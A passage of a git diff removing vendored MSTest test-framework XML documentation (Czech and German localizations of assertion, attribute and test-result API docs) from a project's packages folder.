kolekcí a vyvolá výjimku, - pokud jsou dvě kolekce stejné. Rovnost je definovaná jako množina stejných - prvků ve stejném pořadí a o stejném počtu. Odlišné odkazy na stejnou - hodnotu se považují za sobě rovné. - - - První kolekce, kterou chcete porovnat. Jedná se o kolekci, která podle testu - nemá odpovídat . - - - Druhá kolekce, kterou chcete porovnat. Jedná se o kolekci vytvořenou - testovaným kódem. - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - se rovná . Zpráva je zobrazena ve - výsledcích testu. - - - Pole parametrů, které se má použít při formátování . - - - Thrown if is equal to . - - - - - Testuje, jestli jsou zadané kolekce stejné, a vyvolá výjimku, - pokud obě kolekce stejné nejsou. Rovnost je definovaná jako množina stejných - prvků ve stejném pořadí a o stejném počtu. Rozdílné odkazy na stejnou hodnotu - se považují za stejné. - - - První kolekce, kterou chcete porovnat. Jedná se o kolekci, kterou test očekává. - - - Druhá kolekce, kterou chcete porovnat. Jedná se o kolekci vytvořenou - testovaným kódem. - - - Implementace porovnání, která se má použít pro porovnání prvků kolekce - - - Thrown if is not equal to - . - - - - - Testuje, jestli jsou zadané kolekce stejné, a vyvolá výjimku, - pokud obě kolekce stejné nejsou. Rovnost je definovaná jako množina stejných - prvků ve stejném pořadí a o stejném počtu. Rozdílné odkazy na stejnou hodnotu - se považují za stejné. - - - První kolekce, kterou chcete porovnat. Jedná se o kolekci, kterou test očekává. - - - Druhá kolekce, kterou chcete porovnat. Jedná se o kolekci vytvořenou - testovaným kódem. - - - Implementace porovnání, která se má použít pro porovnání prvků kolekce - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - se nerovná . Zpráva je zobrazena ve - výsledcích testu. - - - Thrown if is not equal to - . - - - - - Testuje, jestli jsou zadané kolekce stejné, a vyvolá výjimku, - pokud obě kolekce stejné nejsou. Rovnost je definovaná jako množina stejných - prvků ve stejném pořadí a o stejném počtu. Rozdílné odkazy na stejnou hodnotu - se považují za stejné. - - - První kolekce, kterou chcete porovnat. Jedná se o kolekci, kterou test očekává. - - - Druhá kolekce, kterou chcete porovnat. Jedná se o kolekci vytvořenou - testovaným kódem. - - - Implementace porovnání, která se má použít pro porovnání prvků kolekce - - - Zpráva, kterou chcete zahrnout do výjimky, pokud - se nerovná . Zpráva je zobrazena ve - výsledcích testu. - - - Pole parametrů, které se má použít při formátování . - - - Thrown if is not equal to - . - - - - - Testuje nerovnost zadaných kolekcí a vyvolá výjimku, - pokud jsou dvě kolekce stejné. Rovnost je definovaná jako množina stejných - prvků ve stejném pořadí a o stejném počtu. Odlišné odkazy na stejnou - hodnotu se považují za sobě rovné. - - - První kolekce, kterou chcete porovnat. Jedná se o kolekci, která podle testu - nemá odpovídat . - - - Druhá kolekce, kterou chcete porovnat. Jedná se o kolekci vytvořenou - testovaným kódem. - - - Implementace porovnání, která se má použít pro porovnání prvků kolekce - - - Thrown if is equal to . - - - - - Testuje nerovnost zadaných kolekcí a vyvolá výjimku, - pokud jsou dvě kolekce stejné. Rovnost je definovaná jako množina stejných - prvků ve stejném pořadí a o stejném počtu. Odlišné odkazy na stejnou - hodnotu se považují za sobě rovné. - - - První kolekce, kterou chcete porovnat. Jedná se o kolekci, která podle testu - nemá odpovídat . - - - Druhá kolekce, kterou chcete porovnat. Jedná se o kolekci vytvořenou - testovaným kódem. - - - Implementace porovnání, která se má použít pro porovnání prvků kolekce - - - Zpráva, kterou chcete zahrnout do výjimky, když - se rovná . Zpráva je zobrazena ve - výsledcích testu. - - - Thrown if is equal to . - - - - - Testuje nerovnost zadaných kolekcí a vyvolá výjimku, - pokud jsou dvě kolekce stejné. Rovnost je definovaná jako množina stejných - prvků ve stejném pořadí a o stejném počtu. Odlišné odkazy na stejnou - hodnotu se považují za sobě rovné. - - - První kolekce, kterou chcete porovnat. Jedná se o kolekci, která podle testu - nemá odpovídat . - - - Druhá kolekce, kterou chcete porovnat. Jedná se o kolekci vytvořenou - testovaným kódem. - - - Implementace porovnání, která se má použít pro porovnání prvků kolekce - - - Zpráva, kterou chcete zahrnout do výjimky, když - se rovná . Zpráva je zobrazena ve - výsledcích testu. - - - Pole parametrů, které se má použít při formátování . - - - Thrown if is equal to . - - - - - Určuje, jestli první kolekce je podmnožinou druhé - kolekce. Pokud některá z množin obsahuje duplicitní prvky, musí počet - výskytů prvku v podmnožině být menší, nebo - se musí rovnat počtu výskytů v nadmnožině. - - - Kolekce, která podle testu má být obsažena v nadmnožině . - - - Kolekce, která podle testu má obsahovat . - - - Pravda, pokud je podmnožinou - , jinak nepravda. - - - - - Vytvoří slovník obsahující počet výskytů jednotlivých - prvků v zadané kolekci. - - - Kolekce, kterou chcete zpracovat - - - Počet prvků Null v kolekci - - - Slovník obsahující počet výskytů jednotlivých prvků - v zadané kolekci. - - - - - Najde mezi dvěma kolekcemi neshodný prvek. Neshodný - prvek je takový, který má v očekávané kolekci - odlišný počet výskytů ve srovnání se skutečnou kolekcí. Kolekce - se považují za rozdílné reference bez hodnoty null se - stejným počtem prvků. Za tuto úroveň ověření odpovídá - volající. Pokud neexistuje žádný neshodný prvek, funkce vrátí - false a neměli byste použít parametry Out. - - - První kolekce, která se má porovnat - - - Druhá kolekce k porovnání - - - Očekávaný počet výskytů prvku - nebo 0, pokud není žádný nevyhovující - prvek. - - - Skutečný počet výskytů prvku - nebo 0, pokud není žádný nevyhovující - prvek. - - - Neshodný prvek (může být Null) nebo Null, pokud neexistuje žádný - neshodný prvek. - - - pravda, pokud je nalezen nevyhovující prvek; v opačném případě nepravda. - - - - - Porovná objekt pomocí atributu object.Equals. - - - - - Základní třída pro výjimky architektury - - - - - Inicializuje novou instanci třídy . - - - - - Inicializuje novou instanci třídy . - - Zpráva - Výjimka - - - - Inicializuje novou instanci třídy . - - Zpráva - - - - Třída prostředků se silnými typy pro vyhledávání lokalizovaných řetězců atd. - - - - - Vrátí v mezipaměti uloženou instanci ResourceManager použitou touto třídou. - - - - - Přepíše vlastnost CurrentUICulture aktuálního vlákna pro všechna - vyhledávání prostředků pomocí této třídy prostředků silného typu. - - - - - Vyhledá lokalizovaný řetězec podobný řetězci Přístupový řetězec má neplatnou syntaxi. - - - - - Vyhledá lokalizovaný řetězec podobný tomuto: Očekávaná kolekce obsahuje počet výskytů {1} <{2}>. Skutečná kolekce obsahuje tento počet výskytů: {3}. {0}. - - - - - Vyhledá lokalizovaný řetězec podobný řetězci Našla se duplicitní položka:<{1}>. {0}. - - - - - Vyhledá lokalizovaný řetězec podobný tomuto: Očekáváno:<{1}>. Případ je rozdílný pro skutečnou hodnotu:<{2}>. {0}. - - - - - Vyhledá lokalizovaný řetězec podobný řetězci Mezi očekávanou hodnotou <{1}> a skutečnou hodnotou <{2}> se očekává rozdíl maximálně <{3}>. {0}. - - - - - Vyhledá lokalizovaný řetězec podobný řetězci Očekáváno:<{1} ({2})>. Skutečnost:<{3} ({4})>. {0}. - - - - - Vyhledá řetězec podobný řetězci Očekáváno:<{1}>. Skutečnost:<{2}>. {0}. - - - - - Vyhledá lokalizovaný řetězec podobný řetězci Mezi očekávanou hodnotou <{1}> a skutečnou hodnotou <{2}> se očekával rozdíl větší než <{3}>. {0}. - - - - - Vyhledá lokalizovaný řetězec podobný řetězci Očekávala se libovolná hodnota s výjimkou:<{1}>. Skutečnost:<{2}>. {0}. - - - - - Vyhledá lokalizovaný řetězec podobný tomuto: Nevkládejte hodnotu typů do AreSame(). Hodnoty převedené na typ Object nebudou nikdy stejné. Zvažte možnost použít AreEqual(). {0}. - - - - - Vyhledá lokalizovaný řetězec podobný řetězci Chyba {0}. {1}. - - - - - Vyhledá lokalizovaný řetězec podobný tomuto: async TestMethod s atributem UITestMethodAttribute se nepodporují. Buď odeberte async, nebo použijte TestMethodAttribute. - - - - - Vyhledá lokalizovaný řetězec podobný řetězci Obě kolekce jsou prázdné. {0}. - - - - - Vyhledá lokalizovaný řetězec podobný řetězci Obě kolekce obsahují stejný prvek. - - - - - Vyhledá lokalizovaný řetězec podobný řetězci Obě reference kolekce odkazují na stejný objekt kolekce. {0}. - - - - - Vyhledá lokalizovaný řetězec podobný řetězci Obě kolekce obsahují stejné prvky. {0}. - - - - - Vyhledá řetězec podobný řetězci {0}({1}). - - - - - Vyhledá lokalizovaný řetězec podobný řetězci (null). - - - - - Vyhledá lokalizovaný řetězec podobný řetězci (objekt). - - - - - Vyhledá lokalizovaný řetězec podobný řetězci Řetězec {0} neobsahuje řetězec {1}. {2}. - - - - - Vyhledá lokalizovaný řetězec podobný řetězci {0} ({1}). - - - - - Vyhledá lokalizovaný řetězec podobný tomuto: Atribut Assert.Equals by se neměl používat pro kontrolní výrazy. Použijte spíše Assert.AreEqual a přetížení. - - - - - Vyhledá lokalizovaný řetězec podobný tomuto: Počet prvků v kolekci se neshoduje. Očekáváno:<{1}>. Skutečnost:<{2}>.{0}. - - - - - Vyhledá lokalizovaný řetězec podobný řetězci Prvek indexu {0} se neshoduje. - - - - - Vyhledá lokalizovaný řetězec podobný tomuto: Prvek indexu {1} je neočekávaného typu. Očekávaný typ:<{2}>. Skutečný typ:<{3}>.{0}. - - - - - Vyhledá lokalizovaný řetězec podobný řetězci Prvek indexu {1} je (null). Očekávaný typ:<{2}>.{0}. - - - - - Vyhledá lokalizovaný řetězec podobný řetězci Řetězec {0} nekončí řetězcem {1}. {2}. - - - - - Vyhledá lokalizovaný řetězec podobný řetězci Neplatný argument: EqualsTester nemůže použít hodnoty null. - - - - - Vyhledá řetězec podobný řetězci Nejde převést objekt typu {0} na {1}. - - - - - Vyhledá lokalizovaný řetězec podobný řetězci Interní odkazovaný objekt už není platný. - - - - - Vyhledá lokalizovaný řetězec podobný řetězci Parametr {0} je neplatný. {1}. - - - - - Vyhledá lokalizovaný řetězec podobný řetězci Vlastnost {0} má typ {1}; očekávaný typ {2}. - - - - - Vyhledá lokalizovaný řetězec podobný řetězci {0} Očekávaný typ:<{1}>. Skutečný typ:<{2}>. - - - - - Vyhledá lokalizovaný řetězec podobný řetězci Řetězec {0} se neshoduje se vzorkem {1}. {2}. - - - - - Vyhledá lokalizovaný řetězec podobný řetězci Nesprávný typ:<{1}>. Skutečný typ:<{2}>. {0}. - - - - - Vyhledá lokalizovaný řetězec podobný řetězci Řetězec {0} se shoduje se vzorkem {1}. {2}. - - - - - Vyhledá lokalizovaný řetězec podobný tomuto: Nezadal se žádný atribut DataRowAttribute. K atributu DataTestMethodAttribute se vyžaduje aspoň jeden atribut DataRowAttribute. - - - - - Vyhledá lokalizovaný řetězec podobný tomuto: Nevyvolala se žádná výjimka. Očekávala se výjimka {1}. {0}. - - - - - Vyhledá lokalizované řetězce podobné tomuto: Parametr {0} je neplatný. Hodnota nemůže být null. {1}. - - - - - Vyhledá lokalizovaný řetězec podobný řetězci Rozdílný počet prvků. - - - - - Vyhledá lokalizovaný řetězec podobný řetězci - Konstruktor se zadaným podpisem se nenašel. Pravděpodobně budete muset obnovit privátní přístupový objekt, - nebo je člen pravděpodobně privátní a založený na základní třídě. Pokud je pravdivý druhý zmíněný případ, musíte vložit typ - definující člen do konstruktoru objektu PrivateObject. - - - - - - Vyhledá lokalizovaný řetězec podobný řetězci - Zadaný člen ({0}) se nenašel. Pravděpodobně budete muset obnovit privátní přístupový objekt, - nebo je člen pravděpodobně privátní a založený na základní třídě. Pokud je pravdivý druhý zmíněný případ, musíte vložit typ - definující člen do konstruktoru atributu PrivateObject. - - - - - - Vyhledá lokalizovaný řetězec podobný řetězci Řetězec {0} nezačíná řetězcem {1}. {2}. - - - - - Vyhledá lokalizovaný řetězec podobný řetězci Očekávaný typ výjimky musí být System.Exception nebo typ odvozený od System.Exception. - - - - - Vyhledá lokalizovaný řetězec podobný řetězci (Z důvodu výjimky se nepodařilo získat zprávu pro výjimku typu {0}.). - - - - - Vyhledá lokalizovaný řetězec podobný řetězci Testovací metoda nevyvolala očekávanou výjimku {0}. {1}. - - - - - Vyhledá lokalizovaný řetězec podobný tomuto: Testovací metoda nevyvolala výjimku. Atribut {0} definovaný testovací metodou očekával výjimku. - - - - - Vyhledá lokalizovaný řetězec podobný tomuto: Testovací metoda vyvolala výjimku {0}, ale očekávala se výjimka {1}. Zpráva o výjimce: {2}. - - - - - Vyhledá lokalizovaný řetězec podobný tomuto: Testovací metoda vyvolala výjimku {0}, očekávala se ale odvozená výjimka {1} nebo typ. Zpráva o výjimce: {2}. - - - - - Vyhledá lokalizovaný řetězec podobný tomuto: Vyvolala se výjimka {2}, ale očekávala se výjimka {1}. {0} - Zpráva o výjimce: {3} - Trasování zásobníku: {4} - - - - - Výsledky testu jednotek - - - - - Test se provedl, ale došlo k problémům. - Problémy se můžou týkat výjimek nebo neúspěšných kontrolních výrazů. - - - - - Test se dokončil, ale není možné zjistit, jestli byl úspěšný, nebo ne. - Dá se použít pro zrušené testy. - - - - - Test se provedl zcela bez problémů. - - - - - V tuto chvíli probíhá test. - - - - - Při provádění testu došlo k chybě systému. - - - - - Časový limit testu vypršel. - - - - - Test byl zrušen uživatelem. - - - - - Test je v neznámém stavu. - - - - - Poskytuje pomocnou funkci pro systém pro testy jednotek. - - - - - Rekurzivně získá zprávy o výjimce, včetně zpráv pro všechny vnitřní - výjimky. - - Výjimka pro načítání zpráv pro - řetězec s informacemi v chybové zprávě - - - - Výčet pro časové limity, který se dá použít spolu s třídou . - Typ výčtu musí odpovídat - - - - - Nekonečno - - - - - Atribut třídy testu - - - - - Získá atribut testovací metody, který umožní spustit tento test. - - Instance atributu testovací metody definované v této metodě. - Typ Použije se ke spuštění tohoto testu. - Extensions can override this method to customize how all methods in a class are run. - - - - Atribut testovací metody - - - - - Spustí testovací metodu. - - Testovací metoda, která se má spustit. - Pole objektů TestResult, které představuje výsledek (nebo výsledky) daného testu. - Extensions can override this method to customize running a TestMethod. - - - - Atribut inicializace testu - - - - - Atribut vyčištění testu - - - - - Atribut ignore - - - - - Atribut vlastnosti testu - - - - - Inicializuje novou instanci třídy . - - - Název - - - Hodnota - - - - - Získá název. - - - - - Získá hodnotu. - - - - - Atribut inicializace třídy - - - - - Atribut vyčištění třídy - - - - - Atribut inicializace sestavení - - - - - Atribut vyčištění sestavení - - - - - Vlastník testu - - - - - Inicializuje novou instanci třídy . - - - Vlastník - - - - - Získá vlastníka. - - - - - Atribut priority, používá se pro určení priority testu jednotek. - - - - - Inicializuje novou instanci třídy . - - - Priorita - - - - - Získá prioritu. - - - - - Popis testu - - - - - Inicializuje novou instanci třídy , která popíše test. - - Popis - - - - Získá popis testu. - - - - - Identifikátor URI struktury projektů CSS - - - - - Inicializuje novou instanci třídy pro identifikátor URI struktury projektů CSS. - - Identifikátor URI struktury projektů CSS - - - - Získá identifikátor URI struktury projektů CSS. - - - - - Identifikátor URI iterace CSS - - - - - Inicializuje novou instanci třídy pro identifikátor URI iterace CSS. - - Identifikátor URI iterace CSS - - - - Získá identifikátor URI iterace CSS. - - - - - Atribut WorkItem, používá se pro zadání pracovní položky přidružené k tomuto testu. - - - - - Inicializuje novou instanci třídy pro atribut WorkItem. - - ID pro pracovní položku - - - - Získá ID k přidružené pracovní položce. - - - - - Atribut časového limitu, používá se pro zadání časového limitu testu jednotek. - - - - - Inicializuje novou instanci třídy . - - - Časový limit - - - - - Inicializuje novou instanci třídy s předem nastaveným časovým limitem. - - - Časový limit - - - - - Získá časový limit. - - - - - Objekt TestResult, který se má vrátit adaptéru - - - - - Inicializuje novou instanci třídy . - - - - - Získá nebo nastaví zobrazovaný název výsledku. Vhodné pro vrácení většího počtu výsledků. - Pokud je null, jako DisplayName se použije název metody. - - - - - Získá nebo nastaví výsledek provedení testu. - - - - - Získá nebo nastaví výjimku vyvolanou při chybě testu. - - - - - Získá nebo nastaví výstup zprávy zaprotokolované testovacím kódem. - - - - - Získá nebo nastaví výstup zprávy zaprotokolované testovacím kódem. - - - - - Získá nebo načte trasování ladění testovacího kódu. - - - - - Gets or sets the debug traces by test code. - - - - - Získá nebo nastaví délku trvání testu. - - - - - Získá nebo nastaví index řádku dat ve zdroji dat. Nastavte pouze pro výsledky jednoho - spuštění řádku dat v testu řízeném daty. - - - - - Získá nebo nastaví návratovou hodnotu testovací metody. (Aktuálně vždy null) - - - - - Získá nebo nastaví soubory s výsledky, které připojil test. - - - - - Určuje připojovací řetězec, název tabulky a metodu přístupu řádku pro testování řízené daty. - - - [DataSource("Provider=SQLOLEDB.1;Data Source=source;Integrated Security=SSPI;Initial Catalog=EqtCoverage;Persist Security Info=False", "MyTable")] - [DataSource("dataSourceNameFromConfigFile")] - - - - - Název výchozího poskytovatele pro DataSource - - - - - Výchozí metoda pro přístup k datům - - - - - Inicializuje novou instanci třídy . Tato instance se inicializuje s poskytovatelem dat, připojovacím řetězcem, tabulkou dat a přístupovou metodou k datům, pomocí kterých se získá přístup ke zdroji dat. - - Název poskytovatele neutrálních dat, jako je System.Data.SqlClient - - Připojovací řetězec specifický pro poskytovatele dat. - UPOZORNĚNÍ: Připojovací řetězec může obsahovat citlivé údaje (třeba heslo). - Připojovací řetězec se ukládá v podobě prostého textu ve zdrojovém kódu a v kompilovaném sestavení. - Tyto citlivé údaje zabezpečíte omezením přístupu ke zdrojovému kódu a sestavení. - - Název tabulky dat - Určuje pořadí přístupu k datům. - - - - Inicializuje novou instanci třídy . Tato instance se inicializuje s připojovacím řetězcem a názvem tabulky. - Zadejte připojovací řetězec a tabulku dat, pomocí kterých se získá přístup ke zdroji dat OLEDB. - - - Připojovací řetězec specifický pro poskytovatele dat. - UPOZORNĚNÍ: Připojovací řetězec může obsahovat citlivé údaje (třeba heslo). - Připojovací řetězec se ukládá v podobě prostého textu ve zdrojovém kódu a v kompilovaném sestavení. - Tyto citlivé údaje zabezpečíte omezením přístupu ke zdrojovému kódu a sestavení. - - Název tabulky dat - - - - Inicializuje novou instanci třídy . Tato instance se inicializuje s poskytovatelem dat a připojovacím řetězcem přidruženým k názvu nastavení. - - Název zdroje dat nalezený v oddílu <microsoft.visualstudio.qualitytools> souboru app.config. - - - - Získá hodnotu představující poskytovatele dat zdroje dat. - - - Název poskytovatele dat. Pokud poskytovatel dat nebyl při inicializaci objektu zadán, bude vrácen výchozí poskytovatel System.Data.OleDb. - - - - - Získá hodnotu představující připojovací řetězec zdroje dat. - - - - - Získá hodnotu označující název tabulky poskytující data. - - - - - Získá metodu používanou pro přístup ke zdroji dat. - - - - Jedna z těchto položek: . Pokud není inicializován, vrátí výchozí hodnotu . - - - - - Získá název zdroje dat nalezeného v části <microsoft.visualstudio.qualitytools> v souboru app.config. - - - - - Atribut testu řízeného daty, kde se data dají zadat jako vložená. - - - - - Vyhledá všechny datové řádky a spustí je. - - - Testovací metoda - - - Pole . - - - - - Spustí testovací metodu řízenou daty. - - Testovací metoda, kterou chcete provést. - Datový řádek - Výsledek provedení - - - diff --git a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/uap10.0/de/Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions.xml b/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/uap10.0/de/Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions.xml deleted file mode 100644 index 3d6c9680..00000000 --- a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/uap10.0/de/Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions.xml +++ /dev/null @@ -1,113 +0,0 @@ - - - - Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions - - - - - Wird zum Angeben des Bereitstellungselements (Datei oder Verzeichnis) für eine Bereitstellung pro Test verwendet. - Kann für eine Testklasse oder Testmethode angegeben werden. - Kann mehrere Instanzen des Attributs besitzen, um mehrere Elemente anzugeben. - Der Elementpfad kann absolut oder relativ sein. Wenn er relativ ist, dann relativ zu "RunConfig.RelativePathRoot". - - - [DeploymentItem("file1.xml")] - [DeploymentItem("file2.xml", "DataFiles")] - [DeploymentItem("bin\Debug")] - - - Putting this in here so that UWP discovery works. We still do not want users to be using DeploymentItem in the UWP world - Hence making it internal. - We should separate out DeploymentItem logic in the adapter via a Framework extensiblity point. - Filed https://github.com/Microsoft/testfx/issues/100 to track this. - - - - - Initialisiert eine neue Instanz der -Klasse. - - Die bereitzustellende Datei oder das Verzeichnis. Der Pfad ist relativ zum Buildausgabeverzeichnis. Das Element wird in das gleiche Verzeichnis wie die bereitgestellten Testassemblys kopiert. - - - - Initialisiert eine neue Instanz der -Klasse. - - Der relative oder absolute Pfad zur bereitzustellenden Datei oder zum Verzeichnis. Der Pfad ist relativ zum Buildausgabeverzeichnis. Das Element wird in das gleiche Verzeichnis wie die bereitgestellten Testassemblys kopiert. - Der Pfad des Verzeichnisses, in das die Elemente kopiert werden sollen. Er kann absolut oder relativ zum Bereitstellungsverzeichnis sein. Alle Dateien und Verzeichnisse, die identifiziert werden durch werden in dieses Verzeichnis kopiert. - - - - Ruft den Pfad der Quelldatei oder des -ordners ab, die bzw. der kopiert werden soll. - - - - - Ruft den Pfad des Verzeichnisses ab, in das das Element kopiert werden soll. - - - - - Hiermit wird Testcode im UI-Thread für Windows Store-Apps ausgeführt. - - - - - Hiermit wird die Testmethode für den UI-Thread ausgeführt. - - - Die Testmethode. - - - Ein Array aus -Instanzen. - - Throws when run on an async test method. - - - - - Die TestContext-Klasse. Diese Klasse muss vollständig abstrakt sein und keine - Member enthalten. Der Adapter implementiert die Member. Benutzer im Framework sollten - darauf nur über eine klar definierte Schnittstelle zugreifen. - - - - - Ruft Testeigenschaften für einen Test ab. - - - - - Ruft den vollqualifizierten Namen der Klasse ab, die die Testmethode enthält, die zurzeit ausgeführt wird. - - - This property can be useful in attributes derived from ExpectedExceptionBaseAttribute. - Those attributes have access to the test context, and provide messages that are included - in the test results. Users can benefit from messages that include the fully-qualified - class name in addition to the name of the test method currently being executed. - - - - - Ruft den Namen der zurzeit ausgeführten Testmethode ab. - - - - - Ruft das aktuelle Testergebnis ab. - - - - - Used to write trace messages while the test is running - - formatted message string - - - - Used to write trace messages while the test is running - - format string - the arguments - - - diff --git a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/uap10.0/de/Microsoft.VisualStudio.TestPlatform.TestFramework.xml b/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/uap10.0/de/Microsoft.VisualStudio.TestPlatform.TestFramework.xml deleted file mode 100644 index ae680260..00000000 --- a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/uap10.0/de/Microsoft.VisualStudio.TestPlatform.TestFramework.xml +++ /dev/null @@ -1,4201 +0,0 @@ - - - - Microsoft.VisualStudio.TestPlatform.TestFramework - - - - - TestMethod für die Ausführung. - - - - - Ruft den Namen der Testmethode ab. - - - - - Ruft den Namen der Testklasse ab. - - - - - Ruft den Rückgabetyp der Testmethode ab. - - - - - Ruft die Parameter der Testmethode ab. - - - - - Ruft die methodInfo der Testmethode ab. - - - This is just to retrieve additional information about the method. - Do not directly invoke the method using MethodInfo. Use ITestMethod.Invoke instead. - - - - - Ruft die Testmethode auf. - - - An die Testmethode zu übergebende Argumente (z. B. für datengesteuerte Tests). - - - Das Ergebnis des Testmethodenaufrufs. - - - This call handles asynchronous test methods as well. - - - - - Ruft alle Attribute der Testmethode ab. - - - Gibt an, ob das in der übergeordneten Klasse definierte Attribut gültig ist. - - - Alle Attribute. - - - - - Ruft ein Attribut eines bestimmten Typs ab. - - System.Attribute type. - - Gibt an, ob das in der übergeordneten Klasse definierte Attribut gültig ist. - - - Die Attribute des angegebenen Typs. - - - - - Das Hilfsprogramm. - - - - - Der check-Parameter ungleich null. - - - Der Parameter. - - - Der Parametername. - - - Die Meldung. - - Throws argument null exception when parameter is null. - - - - Der check-Parameter ungleich null oder leer. - - - Der Parameter. - - - Der Parametername. - - - Die Meldung. - - Throws ArgumentException when parameter is null. - - - - Enumeration für die Art des Zugriffs auf Datenzeilen in datengesteuerten Tests. - - - - - Zeilen werden in sequenzieller Reihenfolge zurückgegeben. - - - - - Zeilen werden in zufälliger Reihenfolge zurückgegeben. - - - - - Attribut zum Definieren von Inlinedaten für eine Testmethode. - - - - - Initialisiert eine neue Instanz der -Klasse. - - Das Datenobjekt. - - - - Initialisiert eine neue Instanz der -Klasse, die ein Array aus Argumenten akzeptiert. - - Ein Datenobjekt. - Weitere Daten. - - - - Ruft Daten für den Aufruf der Testmethode ab. - - - - - Ruft den Anzeigenamen in den Testergebnissen für die Anpassung ab. - - - - - Die nicht eindeutige Assert-Ausnahme. - - - - - Initialisiert eine neue Instanz der -Klasse. - - Die Meldung. - Die Ausnahme. - - - - Initialisiert eine neue Instanz der -Klasse. - - Die Meldung. - - - - Initialisiert eine neue Instanz der -Klasse. - - - - - Die InternalTestFailureException-Klasse. Wird zum Angeben eines internen Fehlers für einen Testfall verwendet. - - - This class is only added to preserve source compatibility with the V1 framework. - For all practical purposes either use AssertFailedException/AssertInconclusiveException. - - - - - Initialisiert eine neue Instanz der -Klasse. - - Die Ausnahmemeldung. - Die Ausnahme. - - - - Initialisiert eine neue Instanz der -Klasse. - - Die Ausnahmemeldung. - - - - Initialisiert eine neue Instanz der -Klasse. - - - - - Ein Attribut, das angibt, dass eine Ausnahme des angegebenen Typs erwartet wird - - - - - Initialisiert eine neue Instanz der -Klasse mit dem erwarteten Typ - - Der Typ der erwarteten Ausnahme. - - - - Initialisiert eine neue Instanz der-Klasse mit - dem erwarteten Typ und der einzuschließenden Meldung, wenn vom Test keine Ausnahme ausgelöst wurde. - - Der Typ der erwarteten Ausnahme. - - Die Meldung, die in das Testergebnis eingeschlossen werden soll, wenn beim Test ein Fehler auftritt, weil keine Ausnahme ausgelöst wird. - - - - - Ruft einen Wert ab, der den Typ der erwarteten Ausnahme angibt. - - - - - Ruft einen Wert ab, der angibt, ob es zulässig ist, dass vom Typ der erwarteten Ausnahme abgeleitete Typen - als erwartet qualifiziert werden. - - - - - Ruft die Meldung ab, die dem Testergebnis hinzugefügt werden soll, falls beim Test ein Fehler auftritt, weil keine Ausnahme ausgelöst wird. - - - - - Überprüft, ob der Typ der vom Komponententest ausgelösten Ausnahme erwartet wird. - - Die vom Komponententest ausgelöste Ausnahme. - - - - Basisklasse für Attribute, die angeben, dass eine Ausnahme aus einem Komponententest erwartet wird. - - - - - Initialisiert eine neue Instanz der -Klasse mit einer standardmäßigen "no-exception"-Meldung. - - - - - Initialisiert eine neue Instanz der -Klasse mit einer 2no-exception"-Meldung - - - Die Meldung, die in das Testergebnis eingeschlossen werden soll, wenn beim Test ein Fehler auftritt, - weil keine Ausnahme ausgelöst wird. - - - - - Ruft die Meldung ab, die dem Testergebnis hinzugefügt werden soll, falls beim Test ein Fehler auftritt, weil keine Ausnahme ausgelöst wird. - - - - - Ruft die Meldung ab, die dem Testergebnis hinzugefügt werden soll, falls beim Test ein Fehler auftritt, weil keine Ausnahme ausgelöst wird. - - - - - Ruft die standardmäßige Nichtausnahmemeldung ab. - - Der Typname des ExpectedException-Attributs. - Die standardmäßige Nichtausnahmemeldung. - - - - Ermittelt, ob die Annahme erwartet ist. Wenn die Methode zurückkehrt, wird davon ausgegangen, - dass die Annahme erwartet war. Wenn die Methode eine Ausnahme auslöst, - wird davon ausgegangen, dass die Ausnahme nicht erwartet war, und die Meldung - der ausgelösten Ausnahme wird in das Testergebnis eingeschlossen. Die -Klasse wird aus Gründen der - Zweckmäßigkeit bereitgestellt. Wenn verwendet wird und ein Fehler der Assertion auftritt, - wird das Testergebnis auf Inconclusive festgelegt. - - Die vom Komponententest ausgelöste Ausnahme. - - - - Löst die Ausnahme erneut aus, wenn es sich um eine AssertFailedException oder eine AssertInconclusiveException handelt. - - Die Ausnahme, die erneut ausgelöst werden soll, wenn es sich um eine Assertionausnahme handelt. - - - - Diese Klasse unterstützt Benutzer beim Ausführen von Komponententests für Typen, die generische Typen verwenden. - GenericParameterHelper erfüllt einige allgemeine generische Typeinschränkungen, - beispielsweise: - 1. öffentlicher Standardkonstruktor - 2. implementiert allgemeine Schnittstellen: IComparable, IEnumerable - - - - - Initialisiert eine neue Instanz der -Klasse, die - die Einschränkung "newable" in C#-Generika erfüllt. - - - This constructor initializes the Data property to a random value. - - - - - Initialisiert eine neue Instanz der-Klasse, die - die Data-Eigenschaft mit einem vom Benutzer bereitgestellten Wert initialisiert. - - Ein Integerwert - - - - Ruft die Daten ab oder legt sie fest. - - - - - Führt den Wertvergleich für zwei GenericParameterHelper-Objekte aus. - - Das Objekt, mit dem der Vergleich ausgeführt werden soll. - TRUE, wenn das Objekt den gleichen Wert wie "dieses" GenericParameterHelper-Objekt aufweist. - Andernfalls FALSE. - - - - Gibt einen Hashcode für diese Objekt zurück. - - Der Hash. - - - - Vergleicht die Daten der beiden -Objekte. - - Das Objekt, mit dem verglichen werden soll. - - Eine signierte Zahl, die die relativen Werte dieser Instanz und dieses Werts angibt. - - - Thrown when the object passed in is not an instance of . - - - - - Gibt ein IEnumerator-Objekt zurück, dessen Länge aus - der Data-Eigenschaft abgeleitet ist. - - Das IEnumerator-Objekt - - - - Gibt ein GenericParameterHelper-Objekt zurück, das gleich - dem aktuellen Objekt ist. - - Das geklonte Objekt. - - - - Ermöglicht Benutzern das Protokollieren/Schreiben von Ablaufverfolgungen aus Komponententests für die Diagnose. - - - - - Handler für LogMessage. - - Die zu protokollierende Meldung. - - - - Zu überwachendes Ereignis. Wird ausgelöst, wenn der Komponententestwriter eine Meldung schreibt. - Wird hauptsächlich von Adaptern verwendet. - - - - - Vom Testwriter aufzurufende API zum Protokollieren von Meldungen. - - Das Zeichenfolgenformat mit Platzhaltern. - Parameter für Platzhalter. - - - - Das TestCategory-Attribut. Wird zum Angeben der Kategorie eines Komponententests verwendet. - - - - - Initialisiert eine neue Instanz 